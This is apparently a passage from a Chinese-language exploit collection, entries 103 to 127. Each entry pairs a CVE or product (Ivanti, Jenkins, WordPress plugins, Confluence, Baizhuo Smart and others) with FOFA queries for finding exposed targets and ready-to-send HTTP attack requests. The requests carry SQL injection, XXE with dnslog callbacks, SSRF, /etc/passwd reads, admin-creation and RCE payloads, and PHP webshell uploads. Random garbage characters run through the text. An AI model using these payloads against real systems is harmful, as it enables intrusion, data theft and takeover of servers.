<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
, x- F: v2 V5 k0 r/ m: }! h. tFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
1 M* N8 v* ^* W4 [Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
; t5 r- G1 v: b- i! ^( K/ |Connection: close
7 R. f( m- S) }$ e% B  k0 SContent-Length: 204
Content-Type: application/x-www-form-urlencoded
% c6 N* o# K- X0 m% }Accept-Encoding: gzip
7 C; J$ V0 Y  L# N' o  m6 O; c# B
% \$ I) G" j) Q6 M1 aSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


" r+ Y' s4 S$ y其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
& j" }, ?% u2 r. x<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
" F/ Q3 Y' Y( O
8 p7 k' [2 r3 @. T
! }) k% v5 \2 Y104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
. q3 T+ D; [7 dFOFA：title="TOTOLINK"
8 A' P/ Q  S+ y' @$ p+ B9 ]( tPOST /cgi-bin/cstecgi.cgi HTTP/1.1
4 D  L/ {; `, C7 t3 [Host:192.168.0.1
Content-Length:41
" D9 H0 Y, s9 _" J8 p; iAccept:application/json,text/javascript，*/*;q=0.01
# a( h7 X. d) U- SX-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
( @# u4 x- }3 ^Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
, ~  d$ v/ g2 iAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
( D0 m  }5 J# J% w* i. S. }4 L( gConnection:close
; s# ^+ r" i7 v+ T' X
, r/ K2 E/ }# p* B# C{
$ B( c1 R  A% R+ j: A# y"topicurl":"getSysStatusCfg",
"token":""
* C' p3 V& i+ n; {4 D9 s7 U}

105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
+ [6 Q& ^! h- O% ^: {. s+ x1 yFOFA：body="Saber 将不能正常工作"
/ r3 B5 Q4 C4 I6 hGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- a" n3 N7 w) v5 i4 aBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
& e! s0 u) t* F1 V8 ^, N. x4 pAccept-Encoding: gzip, deflate
! Q7 m6 y) b/ c) `Accept-Language: zh-CN,zh;q=0.9
' u0 D$ X  c! O4 bConnection: close

! w* X" n& |& m! P8 _
107. SpringBlade tenant/list SQL 注入
- H. J+ T5 l/ e8 F; u0 f3 Q3 |FOFA：body="https://bladex.vip"
( @( y3 S, _6 R" R* G  p- a9 `2 T& eGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
8 M- E% S% k$ Z% l% \Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% G1 x& N2 D  o" e) O, Q% xBlade-Auth:替换为自己的
2 H2 q- Y" ~% }Connection: close
/ P1 C- w( f, k" y( Y
  f& q5 }  c2 u& k% O
/ Z2 ?) a7 n- ?' K  R108. D-Tale 3.9.0 SSRF
CVE-2024-21642
' U1 P$ l; y6 x, ~; v8 dFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
( ]) x0 k% w- x! XHost: your-ip
; j6 j  h7 y+ y) [, yAccept: application/json, text/plain, */*
* x5 ^8 P4 b" J+ a3 E) ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
, _) c8 g% T5 Z0 o! G( K9 h8 _- d
8 l6 g1 W" w" u" X# j0 L
109. Jenkins CLI 任意文件读取
CVE-2024-23897
# M: k  j. P. FFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
- C' t( f, C! R- \' Z" h$ H# x2 HHost:
Content-type: application/octet-stream
2 ]- y# }$ M' c3 |Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
% y7 X, M  D8 o- bSide: upload
Connection: keep-alive
$ a5 [/ e) V+ f9 C1 cContent-Length: 163

& D; f* h! o: w' w/ tb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
. v, V3 w  X8 b7 ?  `9 ]
2 y' L+ R% _) |: q7 p/ `: R# y
POST /cli?remoting=false HTTP/1.1
Host:
/ o  z4 ], k% a1 |7 xSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
3 C+ b0 e% L9 ]5 K! G( z3 h6 R" Z+ _! {download
: o  k$ s% M( G' p' nContent-Type: application/x-www-form-urlencoded
( G. O) L7 A, z; n/ [Content-Length: 0


ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
7 |" X0 z8 J! o( @6 {! }3 k# A# ?java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
- n5 K6 L8 u0 K  n COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

) n; A/ I% b* |0 ]. O. ~4 f
110. Goanywhere MFT 未授权创建管理员
+ r% L! U0 Y: j1 sCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
: \6 a/ U3 b& q. A5 ?1 GGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
5 z6 s  _, j9 p8 L1 v2 vAccept-Encoding: gzip

+ @8 X8 k3 L3 ]8 A/ _2 z
8 P; X* s2 q/ y0 C111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
+ j) ^) o9 i7 c) n2 G; xGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
) t* j9 L, s4 j* X1 M+ rUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
! F# ^0 Z! m$ u: z  _, g7 zConnection: close
Accept: */*
( y6 Q! ?4 T$ V  X" uAccept-Language: en
* V9 U2 j' {% X' m( _+ mAccept-Encoding: gzip
; o, K5 i1 h$ |4 `% [

" ]) R6 Y" n2 [0 H2 h6 w, F4 V112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
2 t8 S2 T1 e3 [, x: Z! w' S: d# tPOST /wp-json/notificationx/v1/analytics HTTP/1.1
/ ~) ]# G3 A" P7 k% F  GHost: {{Hostname}}
8 y* W) Q0 l: \" G. xContent-Type: application/json
9 E  _1 j0 I& L9 ?; `
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
  j: N2 ]0 Q- S5 v, w& s; A9 K

( y/ m2 [8 `, R113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
8 c+ K$ S( m, G5 q* P# ]% LGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
1 a9 p) O; h% K+ cHost: x.x.x.x
4 }6 l5 R" ~6 Y2 jUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
. v! x$ Q" y. {9 vConnection: close
Accept: */*
# b; E5 B8 O7 z8 zAccept-Language: en
4 N7 @3 ^/ g4 P( \6 U# [1 f8 RAccept-Encoding: gzip

& ]" \7 [3 E7 E4 a
$ k. ]# m& z' j& a: \* W2 b+ I8 ?114. WordPress MasterStudy LMS插件 SQL注入
( s, C( V4 R7 o  zFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
; d$ v. B1 }2 l4 W/ x  t* X* xAccept-Encoding: gzip, deflate
Connection: close
' b9 ?4 B$ L4 M* y. `' Y- {( n. w

7 O3 }% {7 `$ _2 S115. WordPress Bricks Builder <= 1.9.6 RCE
" {$ o* X" Y, N% K1 u' ECVE-2024-25600
3 G- |4 A$ W% f( }# a( @  mFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
# d2 _7 Q' n* W- g8 {, [; YGET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
5 I6 Z9 Z  `( aConnection: close
Accept-Encoding: gzip


第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
& i# l7 `% l# l7 [! C6 C5 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
0 u- Y1 F$ J; x# f; |Connection: close
Content-Length: 356
0 {6 M6 y' ^+ b& iContent-Type: application/json
Accept-Encoding: gzip

{
/ W7 H! W. C5 H2 g" ^! j( E"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
0 N4 n, f, z" `& b" A$ j, z8 G1 L      "query": {
        "useQueryEditor": true,
! g/ t4 x" w0 y        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
& P  J! H# X; R9 K/ w        "objectType": "post"
      }
; A3 t6 X; H1 l2 U    }
) d2 J5 l" ?# u: @2 j0 `  }
}

" E/ Q( f% Z; T0 ]* t1 ?
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
9 K0 y3 x+ H! P' ?Host:
1 P( A6 Z6 R+ x4 r$ w' aContent-Type: multipart/form-data; boundary=--------767099171
; z2 E: {$ ~4 ~/ z$ C, [, K: p9 VUser-Agent: Mozilla/5.0
, x) c1 |4 N" O- K5 {( L
----------767099171
2 b4 T0 z( d9 @( s, ]Content-Disposition: form-data; name="action"
* A* I$ H/ M: W1 Dconfiguration_saveconfiguration
----------767099171
5 a: S7 w3 h- GContent-Disposition: form-data; name="form_request"
9 l/ L+ e& G4 }/ k3 e9 Y# Vjssupportticket
" ?3 K  J0 x8 L$ k----------767099171
" p  G* l' h  j& H7 N6 D, c! [" l2 NContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--


117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
! O4 B1 [! z+ A6 |0 PGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
1 `) l9 m* C" zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 s6 `8 G) `) M( `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- z/ F( h# _) J% IAccept-Encoding: gzip, deflate, br
Connection: close
- K+ `+ e/ V! Z. r( a; ?Upgrade-Insecure-Requests: 1


118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
# _/ e9 H4 w( D% b& o1 xCVE-2024-0939
FOFA：title="Smart管理平台"
: \1 |+ L6 ^2 |( S2 JPOST /Tool/uploadfile.php? HTTP/1.1
5 Z! a& g8 n7 w. g- gHost: 192.168.40.130:8443
' t9 _8 S& y! Y/ ~6 i& b) HCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
2 q. T$ ?" P  f& \0 _' z& ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- D' O# O& g# e* v+ k( ]8 _4 `0 oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
: G6 ~. w+ M* m5 U% W" K: T. XContent-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
0 j1 {1 \8 M1 P" yUpgrade-Insecure-Requests: 1
* @1 Q, X: b( U! @+ PSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
+ x% g  U$ g1 B0 b! mSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
; `2 t3 e! K: X7 d# QTe: trailers
Connection: close

-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
9 Y- Y. `! |) [% [9 v" yContent-Type: application/octet-stream
3 k( U6 t5 k/ V+ ?
<?php
- F+ r7 |! i* @! Lsystem($_POST["passwd"]);
  E7 c1 [1 `* S$ C2 L5 D1 N?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"

" M4 q+ d- v( c2 n0 @/home/src.php
$ t* G9 R- A0 W-----------------------------13979701222747646634037182887--

' a9 t9 Z" X3 m/ c& F
访问/home/src.php

' G' T% Z$ }: F2 Z119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
0 f5 V% U1 y& X+ b1 A! V+ ~# IFOFA：title="Smart管理平台"
1 y5 G2 n9 Q) e先登录进入系统，默认账号密码为admin/admin
3 O; c$ V5 `6 H4 M2 P4 ePOST /sysmanage/sysmanageajax.php HTTP/1.11
# l/ R& D6 J* Q  L% {, d" x7 `Host: x.x.x.x
2 Z# p/ d' p) BCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
1 s0 j" Q* w2 c# {# yAccept: */*
4 r4 I4 v8 r( b. I% b4 a: uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. n( j! ]; ?- x" L# `1 y7 B, uAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
8 M! M) }. E$ F0 WOrigin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
6 r2 B. Q! K9 a) p/ _; l; g$ \1 CSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
. ~8 j0 ?6 \2 t# ?X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
; f* |2 \7 [) w6 O, FX-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close

* G. ?. u$ K$ w3 \% k$ q6 p& ksrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
% s( Y* P) N8 h( j- X& m
( z0 l& C3 e8 q7 f& b* f( e, q
120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
1 Y$ `! ^0 ]" w3 \! XPOST /useratte/web.php? HTTP/1.1
6 c6 R; F: T; A3 P- g% ]+ v5 q8 S4 JHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
, @( W3 W" W+ UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 i& e4 f7 [) m4 U/ U+ ]* v! S0 ?3 `7 d  pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
$ Y  f0 T6 l6 d  H, ]Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
* G) H5 j7 R+ l' }Sec-Fetch-Site: same-origin
/ y8 q* ]# j! [. ~% eSec-Fetch-User: ?1
Te: trailers
  H3 A" E% @% U, @Connection: close
1 {& e- W- L7 V) d
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

<?php phpinfo()?>
-----------------------------42328904123665875270630079328
$ L5 X# t' u" w+ k: eContent-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
' e3 g- M) u% m+ I0 N0 Y% W: n
1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

$ Q' \+ g# g7 x; _4 L) Pimport
-----------------------------42328904123665875270630079328


文件路径/upload/2.php
, e" c9 z2 o1 q: s* r2 E5 @( h
# A9 ?' B, m; N8 \8 A, ]' M) B121. 北京百绰智能S42管理平台userattestation.php任意文件上传
# Q2 m' K/ J+ K' ^! E; B; BCVE-2024-1918
7 J4 V* w) H3 x6 pFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
; N' B# a0 T; o7 t# `7 J& [  nHost: 192.168.40.130:8443
5 c1 e( H; \! o7 X7 CCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
( L/ ^) x! B  M) I# s5 q+ DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 o0 G; X2 x- sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" ^$ f2 [+ Z- H2 ^6 ^  yAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
# S  L) B/ j+ b* B& B- r) `- }Content-Length: 592
Origin: https://192.168.40.130:8443
* J; W* l" [$ L" E3 i' \" vUpgrade-Insecure-Requests: 1
# A" N' n  K5 _9 l* u, J8 JSec-Fetch-Dest: document
# d- T1 o; _1 }' qSec-Fetch-Mode: navigate
/ ~. Q) ~+ L  K- FSec-Fetch-Site: same-origin
2 ~: e7 F" P/ c' ?' JSec-Fetch-User: ?1
Te: trailers
' N$ f( A9 ^) L( BConnection: close

/ i/ l/ f+ z) v-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
) t+ U3 O% M7 _" L
<?php phpinfo();?>
7 u) U4 N" v8 C4 y6 s; I: g3 Q# t-----------------------------42328904123665875270630079328
6 P6 j, W! w/ D, |Content-Disposition: form-data; name="id_type"
# d& F( @! l) X
1
) v; A" e  f  v. H9 N-----------------------------42328904123665875270630079328
7 Z% a* }7 a2 I6 Z5 kContent-Disposition: form-data; name="1_ck"
. B: }# l" t# r7 J+ I
1_radhttp
-----------------------------42328904123665875270630079328
0 f2 q2 y% ?7 E& p/ B+ |: W+ B; EContent-Disposition: form-data; name="hidwel"

  A. w1 x) v$ t- r$ uset
-----------------------------42328904123665875270630079328
/ G1 s, ]' ^1 B
$ s1 B* d- X* e
, H! N/ \5 g/ O3 `4 h0 |: eboot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
. ]9 m( M4 ]( U6 W: Y7 z+ s. TGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
3 ~) L" \5 V% j5 W  ?3 }9 ~Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
) i) c, m& S$ [# p0 o2 ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. v" F% ]% v6 LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
" ]! L- H; c9 XUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
* H! ?2 W! W" ~6 p! `: ASec-Fetch-Mode: navigate
. b+ {, i/ c9 ?, `+ d/ k  u. GSec-Fetch-Site: none
6 B4 b( D: w! H) ^Sec-Fetch-User: ?1
Te: trailers
Connection: close


# a8 d6 G. E: J, G9 b4 |3 ]123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
" V( c  x, e0 b* U7 j+ JPOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
0 }1 Y7 x# _( `/ ^/ L$ G& u, iAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
! f3 h. x1 ?: h5 h4 W  T. G' o+ HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
6 @+ O! w9 e6 \( ^) OContent-Type: application/x-www-form-urlencoded

0 f) `% m  _1 s, P& c8 Ilabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

% e$ d4 [+ ?, c$ v  }+ R: B
124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
9 M" S# x! W% `. PPOST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
' J6 }: M, k1 V% YUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
+ g2 K1 _9 L: C$ j; P2 ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
- o* Y/ X' Z' M+ v0 l5 F% Z* a: cAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 n" Q! ^* ]6 lConnection: close
+ B0 x* n" ~& V4 y3 pContent-Type: application/x-www-form-urlencoded
' i! D+ ~- v# n
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>

2 V* a! T- h* u3 M1 o
9 I7 p/ l- k' Z& D5 \& @& c4 hhttp://192.168.40.130:8282/Scripts/abcgcg.aspx
5 x+ e4 `& W2 Q7 _" r( G& F  e! }
( ?! I9 K8 u9 v  \- ?/ H125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
- t3 E: Z( W* Q: NFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
6 u/ \" i" ^% ~; H5 Q! M0 T

9 w% v" y4 R( T* G使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
$ P# f5 \( y- X' d' z
# O0 n0 _% T/ @
创建好用户后直接登录后台，可以执行系统命令。

3 b2 ?3 z9 k. D3 H) S126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
1 {: L5 f0 _9 I* rGET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
. I/ H9 y/ @2 b7 Y& Q; jAccept: */*
& ]5 p) E, T, T: ]9 N  dAccept-Language: en
Accept-Encoding: gzip


/ u! _6 P) S1 S* a5 ]127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
5 d, ~2 J, b- @5 u" ]2 Q  _POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
- y: S0 ]  I9 f" `( S+ ~5 {Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
8 S) |  X/ t4 l4 s9 {7 C- Y* i6 B# iAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
0 n, t6 T4 S4 T2 W# p# E
------WebKitFormBoundaryJGgV5l5ta05yAIe0
: p  N$ s$ Q% HContent-Disposition: form-data;name="SystemName"

BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
3 Z4 B4 D7 h/ y# ]Content-Disposition: form-data;name="Params"
Content-Type: text/plain
$ {3 Z; r, @/ n! Q' z# o* }
<?xml version="1.0" encoding="UTF-8"?>
